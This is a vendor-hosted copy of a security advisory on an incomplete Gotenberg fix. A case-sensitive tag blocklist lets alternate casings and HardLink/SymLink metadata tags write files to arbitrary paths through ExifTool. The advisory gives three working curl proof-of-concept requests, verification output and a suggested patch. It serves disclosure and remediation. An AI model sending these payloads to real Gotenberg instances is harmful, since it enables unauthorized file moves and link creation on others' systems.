Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

GHSA-qmwh-9m9c-h36m

Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags
Back to all
CVE

GHSA-qmwh-9m9c-h36m

Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags

Summary

The fix for ExifTool arbitrary file write (commit 043b158, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the HardLink and SymLink pseudo-tags entirely.

Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.

Root Cause

pkg/modules/exiftool/exiftool.go lines 231-237:

    dangerousTags := []string{

        "FileName",  // Writing this triggers a file rename in ExifTool

        "Directory", // Writing this triggers a file move in ExifTool

    }

    for _, tag := range dangerousTags {

        delete(metadata, tag)

    }

Go's delete(metadata, tag) is case-sensitive. It only removes the exact keys "FileName" and "Directory". ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like filenameFILENAMEdirectory all bypass the Go blocklist but ExifTool treats them identically.

The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:

    fmt.Fprintln(e.stdin, "-"+k+"="+str)

So filename becomes -filename=/attacker/path which ExifTool interprets as -FileName=/attacker/path.

The blocklist also omits two dangerous ExifTool pseudo-tags:

  • HardLink: creates a hard link to the file at the specified path
  • SymLink: creates a symbolic link to the file at the specified path

PoC

All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.

Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):

    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \

      -F files=@sample.pdf \

      -F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'

HardLink (hard link created at /tmp/hardlink_bypass.pdf):

    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \

      -F files=@sample.pdf \

      -F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'

SymLink (symbolic link created at /tmp/symlink_bypass.pdf):

    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \

      -F files=@sample.pdf \

      -F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'

Verification inside the container:

    $ docker exec gotenberg-poc ls -la /tmp/evilbypass.pdf /tmp/hardlinkbypass.pdf /tmp/symlink_bypass.pdf

    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf

    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf

    lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf

Also confirmed ExifTool case-insensitivity directly:

    exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=

Impact

An attacker with access to the Gotenberg API (unauthenticated by default) can:

  1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase filename/directory
  2. Create hard links at arbitrary paths via HardLink, persisting data beyond temp directory cleanup
  3. Create symbolic links at arbitrary paths via SymLink

In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.

Suggested Fix

Use case-insensitive comparison and expand the blocklist:

    dangerousTags := []string{

        "FileName",

        "Directory",

        "HardLink",

        "SymLink",

    }

    for key := range metadata {

        for _, tag := range dangerousTags {

            if strings.EqualFold(key, tag) {

                delete(metadata, key)

            }

        }

    }

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
-
C
H
U
0
-
C
H
U
-

Related Resources

No items found.

References

https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m, https://github.com/gotenberg/gotenberg/commit/15050a311b73d76d8b9223bafe7fa7ba71240011, https://github.com/gotenberg/gotenberg

Severity

0

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
0
EPSS Probability
0%
EPSS Percentile
0%
Introduced Version
0
Fix Available
8.30.0

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading